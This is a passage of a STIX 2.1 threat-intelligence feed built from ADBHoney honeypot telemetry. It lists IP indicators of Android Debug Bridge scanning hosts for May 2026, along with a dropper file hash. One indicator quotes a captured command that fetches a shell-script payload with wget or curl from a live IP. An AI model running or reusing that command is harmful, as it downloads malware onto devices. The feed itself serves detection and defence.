      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 13,
          "first_seen": "2026-05-07T10:51:12.000Z",
          "last_seen": "2026-05-10T04:56:38.064Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "400536"
          ],
          "org": [
            "Nodestop LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-07T11:00:09.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=17; ports=5555; cc=US; asn=14061; asn_org=DigitalOcean, LLC; cats=Detection of a Network Scan,Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=17 | first_seen=2026-05-07T10:45:47.000Z | last_seen=2026-05-07T10:55:59.486Z | ports=5555 | cc=US | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--0cc38b79-e4ac-4544-99a4-04ee4733c5ae",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '64.23.181.60']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T11:00:09.000Z",
      "valid_until": "2026-06-08T11:00:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 17,
          "first_seen": "2026-05-07T10:45:47.000Z",
          "last_seen": "2026-05-07T10:55:59.486Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-07T14:00:10.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=LU; asn=214472; asn_org=Offshore LC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=111 | first_seen=2026-05-07T13:32:06.000Z | last_seen=2026-05-29T22:59:17.346Z | ports=5555 | cc=LU | asn=214472 | org=Offshore LC",
      "id": "indicator--3f14ef48-ffff-4b15-9335-dc1083f170ba",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '176.65.139.254']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T14:00:10.000Z",
      "valid_until": "2026-06-08T14:00:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 111,
          "first_seen": "2026-05-07T13:32:06.000Z",
          "last_seen": "2026-05-29T22:59:17.346Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "LU"
          ],
          "asn": [
            "214472"
          ],
          "org": [
            "Offshore LC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-07T16:00:10.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=4 | first_seen=2026-05-07T15:54:42.000Z | last_seen=2026-05-07T15:55:42.890Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--0dbe7bca-0291-4371-a5c3-1c225442a2af",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.82']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T16:00:10.000Z",
      "valid_until": "2026-06-08T16:00:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 4,
          "first_seen": "2026-05-07T15:54:42.000Z",
          "last_seen": "2026-05-07T15:55:42.890Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-07T17:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=16; ports=5555; cc=US; asn=396982; asn_org=Google LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=16 | first_seen=2026-05-07T16:17:42.000Z | last_seen=2026-05-07T16:28:55.495Z | ports=5555 | cc=US | asn=396982 | org=Google LLC",
      "id": "indicator--96c618d8-81ba-4952-a628-8b9bfef31cf2",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '162.216.149.191']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T17:00:02.000Z",
      "valid_until": "2026-06-08T17:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 16,
          "first_seen": "2026-05-07T16:17:42.000Z",
          "last_seen": "2026-05-07T16:28:55.495Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "396982"
          ],
          "org": [
            "Google LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-07T20:00:10.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=12; ports=5555; cc=PK; asn=138423; asn_org=CMPak Limited; cats=Attempted Administrator Privilege Gain; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=12 | first_seen=2026-05-07T19:14:15.000Z | last_seen=2026-05-07T19:24:29.939Z | ports=5555 | cc=PK | asn=138423 | org=CMPak Limited",
      "id": "indicator--421dc0a6-0a07-449f-a3f2-43ca32bb2978",
      "labels": [
        "malware_hosting",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '117.134.197.79']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T20:00:10.000Z",
      "valid_until": "2026-06-08T20:00:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 12,
          "first_seen": "2026-05-07T19:14:15.000Z",
          "last_seen": "2026-05-07T19:24:29.939Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "PK"
          ],
          "asn": [
            "138423"
          ],
          "org": [
            "CMPak Limited"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-07T20:00:10.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=17; ports=5555; cc=US; asn=14061; asn_org=DigitalOcean, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=17 | first_seen=2026-05-07T19:43:38.000Z | last_seen=2026-05-07T19:54:39.376Z | ports=5555 | cc=US | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--860f9a23-245c-4f9b-958c-f29c7655e776",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '137.184.95.100']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T20:00:10.000Z",
      "valid_until": "2026-06-08T20:00:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 17,
          "first_seen": "2026-05-07T19:43:38.000Z",
          "last_seen": "2026-05-07T19:54:39.376Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-07T21:00:11.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=VN; asn=63737; asn_org=VIETSERVER SERVICES TECHNOLOGY COMPANY LIMITED; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=4 | first_seen=2026-05-07T20:43:06.000Z | last_seen=2026-05-07T20:44:10.463Z | ports=5555 | cc=VN | asn=63737 | org=VIETSERVER SERVICES TECHNOLOGY COMPANY LIMITED",
      "id": "indicator--2711ff05-53d9-4907-8a30-2005154f51c1",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '103.167.90.113']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T21:00:11.000Z",
      "valid_until": "2026-06-08T21:00:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 4,
          "first_seen": "2026-05-07T20:43:06.000Z",
          "last_seen": "2026-05-07T20:44:10.463Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "VN"
          ],
          "asn": [
            "63737"
          ],
          "org": [
            "VIETSERVER SERVICES TECHNOLOGY COMPANY LIMITED"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-07T22:00:10.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=9; ports=5555; cc=US; asn=16509; asn_org=Amazon.com, Inc.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=9 | first_seen=2026-05-07T21:20:46.000Z | last_seen=2026-05-07T21:31:31.205Z | ports=5555 | cc=US | asn=16509 | org=Amazon.com, Inc.",
      "id": "indicator--717641e0-55f9-47e1-b1a5-56125fc1aea8",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '13.57.36.96']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T22:00:10.000Z",
      "valid_until": "2026-06-08T22:00:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 9,
          "first_seen": "2026-05-07T21:20:46.000Z",
          "last_seen": "2026-05-07T21:31:31.205Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "16509"
          ],
          "org": [
            "Amazon.com, Inc."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-07T22:00:10.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=GB; asn=13213; asn_org=Thg Hosting Limited; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=5 | first_seen=2026-05-07T21:20:35.000Z | last_seen=2026-05-07T21:21:43.880Z | ports=5555 | cc=GB | asn=13213 | org=Thg Hosting Limited",
      "id": "indicator--b0b972e5-172b-4774-8383-0a4fcd54eb3b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '5.63.151.109']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T22:00:10.000Z",
      "valid_until": "2026-06-08T22:00:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 5,
          "first_seen": "2026-05-07T21:20:35.000Z",
          "last_seen": "2026-05-07T21:21:43.880Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "GB"
          ],
          "asn": [
            "13213"
          ],
          "org": [
            "Thg Hosting Limited"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-07T22:00:10.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=NL; asn=12876; asn_org=Scaleway SAS; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=5 | first_seen=2026-05-07T21:56:57.000Z | last_seen=2026-05-07T21:57:58.715Z | ports=5555 | cc=NL | asn=12876 | org=Scaleway SAS",
      "id": "indicator--9a780750-9c55-4470-a6d5-5062d8cef650",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '51.158.200.85']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T22:00:10.000Z",
      "valid_until": "2026-06-08T22:00:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 5,
          "first_seen": "2026-05-07T21:56:57.000Z",
          "last_seen": "2026-05-07T21:57:58.715Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "NL"
          ],
          "asn": [
            "12876"
          ],
          "org": [
            "Scaleway SAS"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-08T01:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=41; ports=5555; cc=CN; asn=4134; asn_org=Chinanet; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=41 | first_seen=2026-05-08T00:06:33.000Z | last_seen=2026-05-08T00:27:06.695Z | ports=5555 | cc=CN | asn=4134 | org=Chinanet",
      "id": "indicator--b51d1f02-ce31-4d05-8c8e-55795d601ba7",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '125.78.242.26']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T01:00:02.000Z",
      "valid_until": "2026-06-09T01:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 41,
          "first_seen": "2026-05-08T00:06:33.000Z",
          "last_seen": "2026-05-08T00:27:06.695Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "4134"
          ],
          "org": [
            "Chinanet"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-08T02:00:05.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=15; ports=5555; cc=SG; asn=14061; asn_org=DigitalOcean, LLC; adb_cmd_hits=1; cmd=\"cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget -q http://168.220.248.106:9087/payload/a6i3khk75wgf/su9wyp.sh -O su9wyp.sh || curl -s -o su9wyp.sh h\"\n\nObserved in ADBHoney telemetry for 2026-05. events=211 | first_seen=2026-05-08T01:39:01.000Z | last_seen=2026-05-09T13:23:12.750Z | ports=5555 | cc=SG | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--d408e0cc-1d28-4d98-a087-cc17c4b5dbe7",
      "labels": [
        "malware_hosting",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '206.189.93.68']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T02:00:05.000Z",
      "valid_until": "2026-06-09T02:00:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 211,
          "first_seen": "2026-05-08T01:39:01.000Z",
          "last_seen": "2026-05-09T13:23:12.750Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "SG"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-08T02:00:05.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=6; ports=5555; cc=US; asn=50219; asn_org=Valence Technology Co.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=28 | first_seen=2026-05-08T01:58:19.000Z | last_seen=2026-05-08T02:43:03.523Z | ports=5555 | cc=US | asn=50219 | org=Valence Technology Co.",
      "id": "indicator--b933a317-3678-4f88-9822-2bfa70680431",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '216.226.76.20']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T02:00:05.000Z",
      "valid_until": "2026-06-09T02:00:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 28,
          "first_seen": "2026-05-08T01:58:19.000Z",
          "last_seen": "2026-05-08T02:43:03.523Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "50219"
          ],
          "org": [
            "Valence Technology Co."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-08T02:00:05.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/78c694c28174b0ddfc36745d3b6b07ef951006f183fdcccb157025c27e024f04.raw; last_seen=2026-05-08T01:39:03.530Z",
      "id": "indicator--938bf1e1-f9e4-4ed5-9bf6-6f68ff527f2e",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[file:hashes.'SHA-256' = '78c694c28174b0ddfc36745d3b6b07ef951006f183fdcccb157025c27e024f04']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T02:00:05.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-08T03:00:14.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=24; ports=5555; cc=US; asn=396982; asn_org=Google LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=24 | first_seen=2026-05-08T02:13:39.000Z | last_seen=2026-05-08T02:25:14.522Z | ports=5555 | cc=US | asn=396982 | org=Google LLC",
      "id": "indicator--4f4a2851-f9fc-40eb-a980-3d471a8ff54c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '147.185.132.25']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T03:00:14.000Z",
      "valid_until": "2026-06-09T03:00:13.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 24,
          "first_seen": "2026-05-08T02:13:39.000Z",
          "last_seen": "2026-05-08T02:25:14.522Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "396982"
          ],
          "org": [
            "Google LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-08T03:00:14.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=BG; asn=201814; asn_org=MEVSPACE sp. z o.o.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=11 | first_seen=2026-05-08T02:35:06.000Z | last_seen=2026-05-18T10:35:13.399Z | ports=5555 | cc=BG | asn=201814 | org=MEVSPACE sp. z o.o.",
      "id": "indicator--6aba4f13-5657-4eee-9e21-85dea17eb1a9",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '194.180.49.76']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T03:00:14.000Z",
      "valid_until": "2026-06-09T03:00:13.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 11,
          "first_seen": "2026-05-08T02:35:06.000Z",
          "last_seen": "2026-05-18T10:35:13.399Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "BG"
          ],
          "asn": [
            "201814"
          ],
          "org": [
            "MEVSPACE sp. z o.o."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-08T04:00:03.000Z",
